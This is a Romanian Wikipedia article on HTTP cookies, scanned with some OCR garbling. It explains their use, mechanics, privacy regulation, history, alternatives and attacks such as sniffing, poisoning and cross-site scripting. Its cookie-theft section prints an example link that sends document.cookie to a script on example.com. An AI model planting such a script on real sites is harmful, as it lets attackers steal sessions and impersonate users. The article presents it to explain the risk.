WIKIPEDIA
Cookie

De la Wikipedia, enciclopedia libera

Un cookie HTTP sau un modul cookie este un text special, deseori codificat, trimis de un server unui
navigator web si apoi trimis Thapoi (nemodificat) de catre navigator, de fiecare data cand acceseaza acel server.
Cookie-urile sunt folosite pentru autentificare precum si pentru urmarirea comportamentului utilizatorilor;
aplicatii tipice sunt retinerea preferintelor utilizatorilor si implementarea sistemului de ,,cos de cumparaturi”.

Termenul ,,cookie” este un cuvant englez (biscuit, pronuntie: /'ku,ki/). In informatici el este derivat din
termenul ,,magic cookie”, un concept des utilizat in IT. In general cuvantul ,,cookie” cu acest sens este folosit
si in alte limbi; doar in terminologia tehnicd francofona s-a incercat traducerea lui prin termenul témoin
(,,martor”).

Cookie-urile au creat Tngrijorare din cauza ca ele permit strangerea de informatii despre comportamentul
utilizatorilor (in principiu, ce anume pagini web viziteaza si cand). Ca urmare, folosirea lor (si a informatiilor
culese) sunt supuse in unele tari unor restrictii legale, printre care Statele Unite ale Americii si tdrile UE.
Tehnicile de tip ,,cookie” au fost de asemenea criticate pentru faptul cd identificarea utilizatorilor nu e
intotdeauna precisa, ca si pentru faptul ca prin intermediul lor se pot executa atacuri informatice.

Exista si o serie de pareri gresite despre cookie-uri, cele mai multe bazate pe impresia (gresita) ca ele ar contine
intotdeauna cod executabil; Tn realitate ele sunt doar texte, si nu pot sa execute nicio operatie. Ele nu sunt nici
spyware si nici virusi informatici, desi anumite programe antivirus si anti-spyware le pot detecta.

Cele mai multe navigatoare moderne permit utilizatorului sa decida daca accepta sau nu cookie-uri. Siturilor
care le refuza le vor lipsi Tnsa anumite facilitati - de exemplu, intr-un magazin virtual nu se va mai putea folosi
cosul de cumparaturi, daca acesta a fost implementat cu ajutorul cookie-urilor.
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Scopul

Cookie-urile sunt folosite de serverele web pentru a putea diferentia utilizatorii si pentru a putea reactiona in
functie de actiunile acestora in cadrul unei sesiuni formate din mai multe tranzactii separate. Ele au fost
inventate pentru a se putea implementa un cos de cumparaturi virtual: de obicei, utilizatorul mai intai se
autentifica (login), apoi navigheaza pe site, adauga sau elimina in voie obiecte din cos, apoi afiseaza continutul
cosului, cere calcularea pretului final, se hotaraste sa comande (ori totusi renunta), iar la sfarsit nchide sesiunea
(logout).

Autentificarea utilizatorilor fata de server este o alta aplicatie a cookie-urilor; cu ajutorul acestora serverul
retine faptul ca utilizatorul s-a autentificat, si 1i va permite actiuni specifice celor autentificati.

Unele site-uri folosesc cookie-urile si pentru a permite utilizatorilor sa modifice felul in care afiseaza paginile
de web, in functie de preferintele personale, care sunt retinute si intre sesiuni. Se pot modifica si retine in acest
fel atat aspecte legate de functionalitatea cat si de afisarea graficd a paginilor. De exemplu, Wikipedia permite
utilizatorilor Tnregistrati sa modifice aspectul paginilor, iar in Google, chiar si utilizatorii neinregistrati pot de
exemplu alege cate rezultate sa fie afisate ntr-o pagina.

Cookie-urile se folosesc si pentru a urmadri activitatea unui utilizator pe un site, sau chiar pe mai multe site-uri,
in cazul cookie-urilor ,,third party” sau a asa-numitilor ,,web bugs”. Urmarirea 1n cadrul unui site este facuta in
scopul obtinerii unor statistici de folosire. In special companiile de publicitate urméresc activitatea utilizatorilor
in cadrul mai multor situri pentru a afla mai exact interesele lor, putand astfel sa decida care anume reclame sa
trimita la un anumit moment unui anumit utilizator.

Realizarea

Cookie-urile de obicei contin date fara semnificatie pentru utilizator sau pentru navigatorul sau, dar care pot fi
interpretate de server. Navigatorul le primeste si le returneaza serverului nemodificate, introducand astfel o
»amintire” a evenimentelor trecute in cererea HTTP, care 1n sine este atemporala (altfel spus, fiecare cerere este
in principiu un eveniment izolat, fara a avea vreo legatura cu alte cereri HTTP trecute sau viitoare cdtre acelasi
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server). Returnand insa un cookie unui server, acesta poate lega cererea actuala de cereri precedente (in care
acelasi server a trimis cookie-ul), in acest fel ludnd nastere o asa numiti sesiune. In afara de servere, cookie-
urile mai pot fi create si de aplicatii web care ruleaza pe server, comunica cu clientii prin HTTP, si sunt scrise
in limbaje de programare cum ar fi Java si C# sau in scripturi ce ruleaza pe server.

Descrierea detaliati a mecanismuluiltJ2] sugereaza ca navigatoarele sa poata retine cel putin 300 de cookie-uri
de cate 4 kb, si cel putin 20 pentru fiecare server sau domeniu de Internet.

La crearea cookie-ului se poate specifica si data de stergere; In caz contrar, acesta va fi sters la inchiderea
navigatorului. Un magazin virtual poate dori sa se retina continutul cosului de cumpadraturi Intre sesiuni, astfel
incat la urmatoarea vizitd utilizatorul sd nu trebuiasci si caute din nou toate produsele. In acest caz, serverul
magazinului va crea un cookie cu un termen de stergere ceva mai lung. Doar cookie-urile care au un termen de
stergere lung, specificat explicit, vor ,,supravietui” Intre sesiuni, in care caz ele pot fi numite ,,persistente”.

Neadevaruri

De la aparitia cookie-urilor pe Internet s-au raspandit si mai multe pareri gresite despre ele.3141 T 2005,

Jupiter Research a publicat rezultatele unui sondaj,[s] conform caruia o buna parte din cei chestionati credeau
ca:

= cookie-urile sunt similare viermilor sau virusilor, putand sa stearga date de pe discul dur;

= cookie-urile sunt o forma de spyware, ele putand sa citeasca informatii personale stocate n
PC;

= cookie-urile genereaza popup-uri (ferestre cu reclame, deschise automat de catre navigator, in
general deranjante);

= cookie-urile sunt folosite pentru a trimite spam;

= cookie-urile sunt o forma de reclama.

De fapt cookie-urile contin doar date, nu si cod (instructiuni executabile): ele nu pot sa stearga sau sa citeasca
nimic de pe PC-ul utilizatorului.l®] Totusi, ele permit detectarea paginilor vizitate de un utilizator pe unul sau
mai multe situri. Aceste informatii pot fi colectate intr-un profil al utilizatorului. Acesta este ce-i drept anonim
(nu contine informatii personale cum ar fi nume sau adresd, cu exceptia cazului in care utilizatorul si-a indicat
el Insusi datele personale), dar contine totusi o adresa IP. Chiar daca sunt Tn teorie anonime, datele colectate Tn
acest fel au dat nastere unor ingrijordri cu privire la cat de bine se asigura anonimitatea utilizatorului atunci
cand navigheaza pe Internet.

In plus, conform aceluiasi sondaj, destul de multi intervievati nu stiau cum sa stearga cookie-urile retinute de
navigatoarele lor.

Configurarea navigatorului

Cele mai multe navigatoare moderne suporta cookie-uri; ele permit insa utilizatorului sa decida daca va folosi
sau nu cookie-uri. Variantele cele mai folosite sunt:l’] (1) nu sunt folosite cookie-uri, (2) navigatorul cere
permisiunea utilizatorului la fiecare cookie, sau (3) toate cookie-urile sunt acceptate.

Navigatorul poate permite specificarea mai detaliata a cookie-urilor care sa fie acceptate. De obicei utilizatorul
are la dispozitie urmatoarele optiuni: respingerea cookie-urilor pentru anumite domeniii de internet; respingerea
cookie-urilor third party (explicate mai jos); acceptarea cookie-urilor dar stergerea lor la inchiderea
navigatorului; permisiunea ca un server sa creeze cookie-uri pentru un alt domeniu. Cele mai multe
navigatoare care suporta Javascript dau posibilitatea afisarii cookie-urilor active pentru o anumitda pagina,
scriind javascript:alert("Cookies: "+document.cookie) in campul de editare a URL-
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cookie-urilor din Mozilla Firefox,
Cookie-urile au implicatii destul de importante in ceea ce priveste afisand cookie-urile in functie de

anonimitatea si securitatea informatiilor de natura personala ale celor care domeniul de provenient3.
acceseaza pagini de web. Desi cookie-urile sunt trimise doar serverului

care le-a creat sau unuia care este in acelasi domeniu de Internet, o

pagind poate contine imagini (sau alte elemente) gazduite pe mai multe servere din domenii diferite. Cookie-
urile create de aceste servere secundare (fata de serverul pe care este gazduita pagina propriu-zisa) se numesc
,de terta parte”.

Companiile publicitare folosesc astfel de cookie-uri pentru a urmari utilizatorii care acceseaza paginile in care
aceasta are imagini sau asa numite ,,Web-bugs” (care sunt imagini cu dimensiunea de un singur pixel, Tn mod
normal invizibile — transparente, al ciror singur rol consti n a declansa un transfer de cookie-uri). In acest fel
compania cunoaste comportamentul utilizatorilor si poate plasa reclame pertinente (apropiate de preocuparile si
interesele utilizatorului) in anumite pagini.

Posibilitatea generdrii unei aproximari a comportamentului utilizatorilor a fost consideratd de unii drept o
amenintare a anonimitdtii, mai ales atunci cand aceasta se face prin urmarirea actiunilor pe mai multe domenii
de Internet, folosind cookie-uri de ,terta parte”. Din aceasta cauza, folosirea cookie-urilor este reglementata
prin lege in unele tari.

Guvernul Statelor Unite ale Americii a elaborat un set strict de reguli Tn privinta cookie-urilor in anul 2000,
dupa ce a iesit la iveala faptul ca Directia pentru Controlul Drogurilor a Casei Albe folosea cookie-uri pentru a
vedea daca cei care 1i accesau site-ul accesau dupa aceea pagini de web despre folosirea ori producerea
drogurilor. In 2002, Daniel Brandt, militant pentru securitatea datelor personale pe web, a descoperit ca si
pagina de web a CIA lasa pe hard-disk-urile utilizatorilor cookie-uri persistente (cu data de expirare 2010).
Dupd ce a fost anuntata ca isi incalca propriile reguli, CIA a raspuns ca trimiterea cookie-urilor a fost
accidentalda, ca ele nu au fost folosite efectiv pentru a urmari utilizatorii si si-a modificat pagina astfel incat sa
nu mai foloseasca cookie-uri.[8] Pe 25 decembrie 2005, Brandt a descoperit ca si NSA ldasa doud cookie-uri
persistente pe calculatoarele utilizatorilor, din cauza unui update de software. Dupa ce a fost informata de acest
lucru, NSA a dezactivat trimiterea de cookie-uri de pe site-ul propriu.[g]

O directiva din 2002 (http://eur-lex.europa.eu/smartapi/cgi/sga_doc?smartapi!celexapi!prod! CELEXnumdoc&l
g=en&numdoc=32002L.0058&model=guichett) a Uniunii Europene in privinta securitdtii informatiilor de
natura personala pe Internet contine reguli legate de folosirea cookie-urilor. Printre altele, Articolul 5, Alineatul
3 specifica faptul ca salvarea datelor (cum ar fi cookie-uri) pe calculatorul unui utilizator poate fi facuta doar
daca: 1) utilizatorului i se spune cum vor fi utilizate aceste date; si 2) utilizatorului i se da posibilitatea de a
refuza aceste date. Totusi, acelasi articol mentioneaza faptul ca salvarea datelor necesare din motive tehnice
este exceptatd de la aceasta regula. Aceasta directiva trebuia aplicatd inca din octombrie 2003, dar un raport
din decembrie 200410! spune (la pagina 38) ca aceasta prevedere nu a fost pusa 1n practica, si ca unele tari
membre nici macar nu au adoptat-o (Slovacia, Letonia, Grecia, Belgia, si Luxembourg). Acelasi raport
propune o analiza serioasa a situatiei din statele membre (ale Uniunii Europene).
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Dezavantaje ale cookie-urilor

In afard de problema securititii datelor personale, mai existi citeva motive pentru care folosirea cookie-urilor
este criticata: ele nu pot identifica foarte precis utilizatorii, si pot fi folosite pentru a ataca sistemele IT.

Identificarea imprecisa

Daca pe un calculator sunt folosite mai multe navigatoare, fiecare va avea cookie-urile sale. Deci cookie-urile
nu identifica persoana, ci combinatia cont de utilizator, calculator, navigator. Oricine foloseste mai multe
conturi de utilizator, calculatoare sau navigatoare, va avea mai multe seturi de cookie-uri.

De asemenea, prin cookie-uri nu se poate face diferenta dintre doi utilizatori care folosesc acelasi calculator si
navigator (daca nu folosesc conturi de utilizator diferite).

Interceptarea cookie-urilor

senver browser

In mod normal, cookie-urile sunt transferate intre un server (sau mai
multe servere din acelasi domeniu) si calculatorul utilizatorului. Deoarece
cookie-urile pot contine informatii confidentiale (nume de utilizator, atacator
parola etc.), ele nu ar trebui sa fie accesibile altor calculatoare. Din
pacate, sesiunile HTTP obisnuite sunt vizibile tuturor calculatoarelor din
retea, care pot intercepta pachetele de date. Aceste cookie-uri nu pot
contine deci informatii confidentiale. O solutie posibila este HTTPS, care
foloseste Transport Layer Security pentru a cripta toate datele schimbate
ntre server si calculatorul utilizatorului.

Un cookie poate fi furat de catre
un alt computer caruia i se
permite sa citeasca din retea

Asa numitul ,,cross-site scripting” (scripting inter-sit) permite trimiterea
unui cookie altor servere, care nu ar trebui In mod nqrmal Sé'l—l primeasca. server |- | Browssr
Navigatoarele moderne permit executarea (de catre client) a unor

fragmente de cod primite de la server; daca cookie-urile pot fi accesate Tn ;

timpul executiei, ele ar putea fi trimise altor servere decat cele

»autorizate”. Aceasta se numeste ,furtul” cookie-ului, iar criptarea nu
ajuta impotriva acestui gen de atac.11]

atacator

Cross-site scripting: un cookie
care ar trebui s& fie schimbat
doar intre server si client este
trimis unei a treia parti.

Aceastd metoda este de obicei folosita pe sit-uri care permit utilizatorilor
sa trimitd continut HTML. Folosind un anumit fragment de cod, un
utilizator rdu-voitor poate sa primeasca cookie-uri ale altor utilizatori; cu
ajutorul lor, el poate apoi sa se conecteze si sa se pacaleasca serverul,
care crede ca altcineva s-a autentificat.

,Otravirea” cookie-urilor

Cookie-urile ar trebui sa fie retinute si trimise serverului neschimbate; un atacator ar putea insa sa le modifice si
apoi sa le trimita serverului. Acest proces se numeste ,otravirea” cookie-urilor, si este uneori folosit dupa
Hfurtul” lor. Dacd, de exemplu, un cookie retine suma care trebuie platita pentru cumpdraturile din cogsul
virtual, schimbarea acestei valori ar putea permite cumpadrarea unor bunuri la un pret mult mai mic.

Totusi, cele mai multe site-uri retin cu ajutorul cookie-urilor doar un identificator de sesiune: acesta este un
numdr unic(generat aleator) care identifica sesiunea utilizatorului - el reprezinta de fapt un index intr-o tabeld
interna a serverului, in care se retin valorile cu adevarat importante, cum ar fi pretul unor cumparaturi, s.a.m.d..


https://ro.wikipedia.org/wiki/Fi%C8%99ier:Cookie-sniffing_ro.svg
https://ro.wikipedia.org/wiki/Fi%C8%99ier:Cookie-theft_ro.svg
https://ro.wikipedia.org/wiki/IT
https://ro.wikipedia.org/wiki/HTTPS
https://ro.wikipedia.org/wiki/Transport_Layer_Security
https://ro.wikipedia.org/wiki/Criptografie

In acest fel problema cookie-urilor invalide este in principiu eliminata.

senver

Cookie inter-site &

Fiecare site ar trebui sa aiba acces doar la cookie-urile proprii, adica un atacator
site de genul rau.net nu ar trebui sd poata citi cookie-uri trimise
clientului de un alt site bun.net. Totusi, erori in programarea
navigatoarelor pot duce la ncdlcarea acestei reguli. Se ajunge la o situatie cookie invalid (de exemplu un
similara trimiterii de cookie-uri modificate, dar Tn acest caz nu este atacat cookie primit de la server, dar
serverul, ciA un utilizator de bunacredinta care foloseste un navigator modificat).

vulnerabil. In acest fel, de exemplu, se poate fura acel identificator de

sesiune si atacatorul poate sa se ,autentifice” in locul utilizatorului de

buna credinta.

,Otravirea” cookie-urilor; un
atacator trimite unui server un

Alternative la cookie-uri

Exista o serie de alternative la folosirea cookie-urilor. Acestea au Tnsa si ele dezavantajele lor, de aceea cookie-
urile sunt preferate de cele mai multe ori In practica. Cele mai multe dintre aceste metode alternative permit
urmdrirea actiunilor utilizatorilor, desi cu o acuratete mai micd deciat cea a cookie-urilor. Securitatea
informatiilor personale ramane deci o problema, chiar daca navigatorul este configurat sa nu accepte cookie-
uri.

Adresa IP

O metoda foarte putin precisa de urmarire a utilizatorilor se bazeaza pe retinerea adreselor IP ale
calculatoarelor care solicita pagini web. Aceasta a fost disponibild si folositda Inca de la Inceputurile World
Wide Web-ului, pentru ca trimiterea paginii cdtre un client presupune cunoasterea adresei IP a acestuia (sau a
proxy-ului, daca se foloseste unul). Aceastd adresa poate fi retinuta de catre server indiferent daca cookie-urile
sunt sau nu folosite.

Totusi, calculatoarele si proxy-urile pot fi folosite de mai multi utilizatori; de asemenea, acelasi calculator poate
avea adrese IP diferite, de exemplu in cazul unor conexiuni succesive prin dial-up. De aceea, o urmarire fiabila
a unui utilizator este dificild; o proprietate a protocolului HTTP poate ajuta n acest sens: atunci cand un
navigator cere o pagind din cauza ca utilizatorul urmeaza o legdatura, cererea contine si adresa paginii pe care se
afla aceasta legatura. Daca serverul stocheaza aceste adrese, el poate avea succesiunea de pagini vizitate de
utilizator. Nici aceasta metoda nu este la fel de eficienta ca folosirea cookie-urilor, deoarece mai multi utilizatori
pot accesa aceeasi pagina de la acelasi calculator, NAT router, sau proxy si apoi sa urmeze doua legaturi
diferite. In orice caz, in acest fel se pot doar urmdri actiunile utilizatorului, si nu se pot suplini celelalte moduri
de folosire a cookie-urilor.

Urmadrirea cu ajutorul adresei IP poate fi imposibila daca utilizatorul foloseste unul dintre sistemele de acces
anonim la internet, cum ar fi Tor. Acestea fac ca un navigator sa aiba mai multe adrese IP in cadrul unei
singure sesiuni, si chiar pot face sa para ca de la aceeasi adresa IP vin mai multi utilizatori.

URL (query string)

O metoda mai precisa se bazeaza pe introducerea informatiei in adresa URL. Partea denumita ,,query string”
este folosita de obicei, dar se pot folosi si alte sectiuni. Mecanismul sesiunilor PHP foloseste aceasta metoda
daca cookie-urile nu sunt activate.
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In principiu metoda constd in addugarea la adresele URL ale legiturilor (de pe paginile gizduite) a unui sir de
caractere (informatia care altfel ar fi fost retinuta Intr-un cookie). Atunci cand este urmata una dintre legaturi,
navigatorul returneaza intregul URL (deci si partea atasatd) serverului. Diferenta fata de mecanismul cookie-
urilor este urmatoarea: dacd URL-ul este refolosit (de exemplu trimis prin e-mail sau retinut in navigator),
aceeasi informatie este primita de server; de exemplu urmand un URL primit prin e-mail, utilizatorul va fi
intampinat de preferintele ori cosul de cumpdraturi initial (al celui care i-a trimis e-mail-ul). Mai mult, daca
acelasi utilizator deschide aceeasi pagina de doua ori, dar ,,venind” din pagini diferite (de exemplu dintr-un
motor de cautare si dintr-o altd pagina a aceluiasi domeniu), el va vedea lucruri diferite.

Un alt dezavantaj al acestei metode este legat de securitate: trimitdnd o adresa prin e-mail, este posibil sa fie
trimis si un identificator de sesiune, iar cel care va urma legatura va aparea pentru server ca fiind un utilizator
autentificat. In aceasta privinta cookie-urile sunt mult mai sigure, fiind mai greu de ,,furat”.

Autentificare HTTP

Protocolul HTTP include mecanisme (cum ar fi digest access authentication), care permit accesarea unei pagini
Web doar dupa furnizarea unui nume de utilizator si a unei parole, pe care navigatorul le retine si le transmite
server-ului la fiecare cerere, fara ca utilizatorul sa le introduca de fiecare datd; din punctul acestuia de vedere,
lucrurile se desfasoara ca si in cazul folosirii cookie-urilor. Totusi, transmiterea parolei (si chiar a numelui de
utilizator) de fiecare data cand este ceruta o pagina este destul de nesigura: acest trafic poate fi interceptat.
Identificatorul de sesiune (informatia care putea fi interceptata daca se foloseau cookie-uri) expira destul de
repede dupa ce nu a fost folosit, devenind inutilizabil pentru un atacator.

Obiecte Locale Macromedia Flash

Daca un navigator foloseste plugin-ul Macromedia Flash Player functia de salvare locald a unor obiecte poate
fi folosita Intr-un mod foarte asemandtor cookie-urilor. Aceasta poate fi o optiune atrdgdtoare pentru
dezvoltatorii de pagini Web, pentru ca majoritatea utilizatorilor de Windows folosesc acest plugin, iar limita de
marime este de 100 kb. In plus, configuririle sunt separate de cookie-uri, deci stocarea locald a obiectelor
poate fi activata, iar cookie-urile dezactivate.

Alte metode de a stoca date local

Unele navigatoare suporta un mecanism prin care paginile Web 1si pot stoca local unele date printr-un script.
Internet Explorer, de exemplu, poate fi folosit pentru a stoca date Intr-o pagind Web salvata pe hard-disk, Intr-
un document XML, sau 1n sectiunile ,Favorites” (,,Pagini favorite” ori ,Semne de carte”) ori ,,History”
(,,Pagini recente™) ale navigatorului.[12]

window.name

Daca Javascript este activat, proprietatea name name a obiectului window poate fi folosita pentru a stoca
local date, deoarece aceasta ramane neschimbata la incdrcarea succesiva a unor pagini Web. Metoda este mai
putin cunoscuta, si din aceasta cauza nu este considerata drept o amenintare la adresa securitétii.[le‘]

Istoria cookie-urilor
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Termenul vine de la expresia din limba engleza ,,magic cookie”, care desemneaza un pachet de date pe care un
program 1l primeste doar pentru a-l trimite inapoi nemodificat. Acest procedeu era deja larg raspandit atunci
cand, in iunie 1994, Lou Montulli a avut ideea de a-1 folosi Tn cadrul comunicatiilor web14], Pe atunci el era
angajat al Netscape Communications, care dezvolta o aplicatie e-commerce pentru un client, iar cookie-urile au
fost folosite pentru a implementa un ,,cos de cumparaturi virtual”[151116]

Tmpreuné cu John Giannandrea, Montulli a scris descrierea tehnica a cookie-urilor, iar versiunea 0.9 a
navigatorului Netscape (lansatd In septembrie 1994) accepta cookie-uri. Prima aplicatie a cookie-urilor a fost
pe situl Netscape - se verifica daca un vizitator intra accesa pentru prima data situl. Montulli si Giannandrea au
depus o cerere de brevetare a mecanismului (1995), primind brevetul Tn 1998. Versiunea 2 a Internet Explorer
(lansata in 1995) suporta de asemenea cookie-uri.[17]

La acel moment, introducerea cookie-urilor nu era foarte cunoscuta de publicul larg. Cookie-urile erau
acceptate de setarile implicite ale navigatorului, iar utilizatorii nu erau notificati de prezenta lor. Un articol
Financial Times, publicat in12 februarie 1996, a atras atentia asupra cookie-urilor, mai ales din cauza

.....

Primele specificatii oficiale au fost scrise in februarie 1997, de IETF (documentul RFC 2109). Cookie-urile
nthird-party” au fost identificate ca fiind o amenintare la adresa anonimitdtii utilizatorilor, astfel incat
documentul recomanda ca ele sa nu fie acceptate deloc, sau mdcar ca aceasta sa fie setarea implicita a
navigatorului.

Companiile de publicitate deja foloseau cookie-uri, iar recomandarea privind cookie-uri ,,third-party” nu au
fost respectate de Netscape ori de Internet Explorer. RFC 2109 a fost urmat de RFC 2965 in octombrie 2000.

Implementarea

Crearea unui cookie

Paginile web sunt transmise prin HTTP; navigatorul Incepe prin a trimite o cerere serverului. De exemplu,
pentru a accesa pagina http://www.w3.org/index.html, navigatorul se conecteaza la serveul www.w3.org si
trimite o cerere de forma:

GET /index.html HTTP/1.1

navigator - server

Serverul raspunde trimitand pagina ceruta, precedata de un pachet de text numit ,,HTTP header”. Acesta poate
contine linii care cer navigatorului sa retind cookie-uri:

HTTP/1.1 200 OK
Set-Cookie: name=value
Content-type: text/html

(content of page)

navigator - server
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Linia Set-cookie este trimisa doar daca serverul vrea ca navigatorul sa retina un cookie. Mai precis,
cookie-ul este name=value. Daca navigatorul accepta cookie-uri, toate cererile urmatoare catre acelasi

server vor contine acel cookie. De exemplu, daca navigatorul vrea sa acceseze http:/www.w3.org/spec.html
va trimite serverului www.w3.org o cerere de forma:

GET /spec.html HTTP/1.1
Cookie: name=value
Accept: */*

navigator - server

In acest fel serverul stie ca aceasta nu e prima cerere, si va raspunde trimitdnd pagina cerutd, eventual impreuna
cu alte cookie-uri. Valoarea unui cookie poate fi modificatd de server trimitdnd linia Set-Cookie:

name=newvalue in raspunsul urmatoarei cereri a navigatorului.

In general, linia Set-Cookie nu e creati de serverul propriu-zis, ci de un program CGI. Serverul doar
trimite rezultatul geneart de acest program navigatorului.

cookie-urile pot fi create si de scripturi (de exemplu JavaScript) care ruleazd in cadrul navigatorului. In
JavaScript, se foloseste obiectul document.cookie. De exemplu, instructiunea document.cookie

= "temperature=20" creeazi un cookie cu numele temperature si valoarea 20.18!

Alte proprietati ale cookie-urilor

in afard de nume si valoare, un cookie poate si contind data expirdrii, o cale, un nume de domeniu (domain
name), si daca cookie-ul trebuie sau nu sa fie transmis doar prin conexiune criptata (Transport Layer Security).
RFC 2109 prevede folosirea unui numadr care sa retind versiunea cookie-ului, dar acesta e de obicei omis.
Aceste proprietati urmeaza dupa name=newvalue si sunt de obicei separate prin ,,;”. De exemplu, un
cookie poate fi creat de server trimitand linia Set -Cookie: name=newvalue; expires=date;
path=/; domain=.example.org.

Numele de domeniu si calea spun navigatorului carui server sa trimita
cookie-ul atunci cand incearca sa acceseze o pagind. Daca nu sunt
specificate, valoarea implicitd este domeniul si calea obiectului din
cererea curenta. Ca urmare, sirurile domeniu si cale pot sa duca la
trimiterea unui cookie la alt server decat cel implicit. Din motive de
securitate, cookie-ul este acceptat doar daca serverul este membru al
domeniului specificat Tn proprietatile cookie-ului. Exemplul unui rispuns HTTP de

la Google, care creeaza un
cookie-urile sunt de fapt identificate de tripleta nume/domeniu/cale, nu cookie si proprietétile lui.

doar de nume (In varianta originald Netscape apirea doar perechea
nume/cale). Cu alte cuvinte, acelasi nume dar domenii diferite reprezinta
cookie-uri diferite (probabil cu valori diferite).

Data expirdrii specificdi momentul In care navigatorul va sterge cookie-ul din memorie. In mod implicit (dacd
nu se specifica o data a expirarii), cookie-urile sunt sterse la inchiderea sesiunii (oprirea programului), dar daca
este specificatd o anumiti dati, cookie-ul va rimane in memorie(pand la acea datd). In acest fel, specificAnd o
data a expiradrii, cookie-urile ,,supravietuiesc” intre sesiuni; aceasta proprietate se numeste ,,persistenta”
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De exemplu, un server ar putea sa trimita un cookie de forma urmatoare:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59
GMT; path=/; domain=.example.net

Numele acestui cookie este RMID, iar valoarea sa 732423sdfs73242. Calea si numele de domeniu / and
.example.net spun navigatorului sa trimitd cookie-ul atunci cand cere o pagind (orice pagina) din
domeniu .example.net.

Data expirarii este 31 decembrie 2010, ora 23:59:59 GMT. Orice cerere dupa acea data nu va mai fi insotita de
acest cookie, care va fi sters. Cookie-urile mai pot fi sterse de server (trimitand o cerere de modificare si
schimband data de expirare undeva in trecut) sau de utilizator, din meniul navigatorului.

Expirare
cookie-urile expird, si de aceea nu sunt trimise de catre navigator spre server in conditiile de mai jos:

1. La sfarsitul unei sesiuni (de exemplu, cand este inchis navigatorul) daca acel cookie nu este
persistent

2. Daca a fost specificata o data de expirare si data se afla la momentul curent in trecut
3. Daca data expirarii este schimbata (de catre server sau script) intr-o data din trecut
4. Navigatorul sterge cookie-ul la cererea utilizatorului

A treia conditie permite unui server sau unui script sa stearga in mod explicit un cookie.

Autentificare

Cookie-urile pot fi folosite de servere pentru a recunoaste utilizatorii autentificati si pentru a modifica paginile
trimise in functie de preferintele acestora (personalizare). De exemplu:

1. Utilizatorul introduce numele de utilizator si parola in campurile de editare ale unei pagini si le
trimite spre server,;

2. Serverul primeste numele de utilizator si parola si le verifica; daca sunt corecte, trimite o pagina
care confirma acest lucru utilizatorului, impreuna cu un cookie; de asemenea, serverul
memoreaza perechea nume/cookie (sau doar cookie-ul);

3. La fiecare accesare a unei pagini de pe acel server, navigatorul trimite si cookie-ul impreuna cu
cererea; serverul compara cookie-ul primit cu cele memorate, si poate sa decida daca este
vorba de un utilizator autentificat sau nu, trimitdnd pagina potrivita.

Aceasta este metoda folosita de aproape toate siturile, inclusiv Wikipedia.

Personalizarea paginilor

In mod similar autentificarii, serverul afld ce utilizator i cere o pagina si poate si o trimitd in consecinta, in
functie de preferintele exprimate anterior, si care au fost retinute de server. Se pot personaliza pagini chiar in
cazul utilizatorilor care nu au un cont pe server: pur si simplu se retin preferintele Tn cadrul cookie-ului, si la
cererile urmatoare, trimitnd si cookie-ul, navigatorul trimite si preferintele utilizatorului.
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De exemplu, Google retine preferintele utilizatorilor intr-un cookie numit PREF. Acesta e creat cu valori

implicite la prima accesare a sitului. Atunci cand utilizatorul intra In pagina de preferinte si alege ceva, serverul
trimite o cerere de modificare a cookie-ului, retinand n el noua valoare.

Urmarirea utilizatorilor

Metoda cea mai folosita este urmatoarea:

1. Daca o cerere nu contine nici un cookie, se presupune ca este prima accesare a unei pagini de
pe acel server; acesta creeaza un cookie cu o valoare arbitrara (dar unica) si-I trimite, impreuna
Cu pagina solicitata;

2. De acumincolo, navigatorul va primi impreuna cu cererile si cookie-ul; el va trimite paginile
cerute, dar va retine numele paginii cerute, data si ora, precum si valoarea cookie-ului intr-o
lista speciala.

Parcurgand aceasta lista, este posibil sa se afle ce pagini (si in ce ordine) au fost vizitate de un anumit utilizator
(identificat de un anumit cookie).

Cookie-uri ,third-party”

Imaginile sau alte obiecte continute de o pagina web pot sa fie de fapt pe alt server decat cel pe care este
pagina propriu-zisa. Pentru a afisa aceste obiecte, navigatorul le descarca de pe serverele lor, eventual primind
si cookie-uri. Acestea se numesc ,third party”, daca serverul care le-a creat se afla Tn alt domeniu decat
serverul paginii.

Acest fenomen se intampla mai ales In cazul reclamelor. Imaginile publicitare se afla de obicei stocate pe
serverele companiei publicitare, in alt domeniu decat pagina web pe care sunt afisate. Daca navigatorul accepta
cookie-urile, compania de publicitate poate sd urmdreasca activitatea utilizatorului pe mai multe situri (pe toate
siturile vizitate, care au imagini ce provin de la acea companie de publicitate). Aceasta se face folosind un
URL unic pentru fiecare sit (astfel incat aceeasi imagine afisata pe doua situri are alt URL) sau cu ajutorul
campului referer din tranzactia HTTP. Acelasi lucru se poate obtine intercaland in pagina de web imagini

invizibile utilizatorului, dar care sunt downloadate de navigator.

Companiile de publicitate au negat permanent ca aceste informatii ar fi folosite si pentru alte scopuri n afara
stabilirii unor preferinte ale utilizatorilor.

Multe navigatoare moderne, cum ar fi Internet Explorer, Opera sau Mozilla Firefox, permit utilizatorului sa
aleaga blocarea cookie-urilor ,third party”. Versiunea 6 a Internet Explorer permite si o forma intermediara de
blocare: daca third.com trimite un cookie odata cu o imagine de pe o pagina din domeniul first.com,

cookie-ul nu este trimis n cazul in care o este nevoie de o imagine de pe acelasi third.com, dar pentru un
document din domeniul other . com; daca insa un document oarecare din domeniul initial first.com are

nevoie de o imagine de pe third.com, cookie-ul va fi trimist 9],

Cosul de cumparaturi virtual

Aceasta este 0 alta aplicatie a cookie-urilor, discutata si mai sus

,Furtul” cookie-urilor
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Desi 1n principiu cookie-urile sunt trimise doar serverelor care le-au creat, exista metode de a le ,,fura”, adica
de a convinge navigatorul sa le trimita altor servere.

Printre altele, scripturile JavaScript sau JScript au de obicei acces la toate cookie-urile stocate de navigator,
putand sa le trimita oriunde. Aceasta, impreuna cu situri care permit utilizatorilor sa le modifice paginile scriind
continut HTML duce la situatii nedorite.

De exemplu, cineva care detine domeniul example.com poate scrie pe un alt sit o legatura de forma
urmatoare:

<a href="#" onclick="window.location='http://example.com/stole.cgi?
text="'+escape(document.cookie); return false;">Click here!</a>

Cand un utilizator apasa pe aceasta legatura, navigatorul Tnlocuieste document .cookie cu lista cookie-
urilor active pe acel sit, care ajung astfel la serverul example.com, al carui detinator are acces acum la
cookie-urile utilizatorilor sitului pe care a pus legdtura.

Acest gen de atac este imposibil de prevenit de catre navigator, pentru ca scriptul vine chiar de la serverul care
a creat cookie-urile, si totul pare a fi autorizat de acel server. Singura solutie este ca administratorii siturilor care
permit utilizatorilor sa le modifice continutul sa implementeze metode pentru respingerea acestui gen de
scripturi.

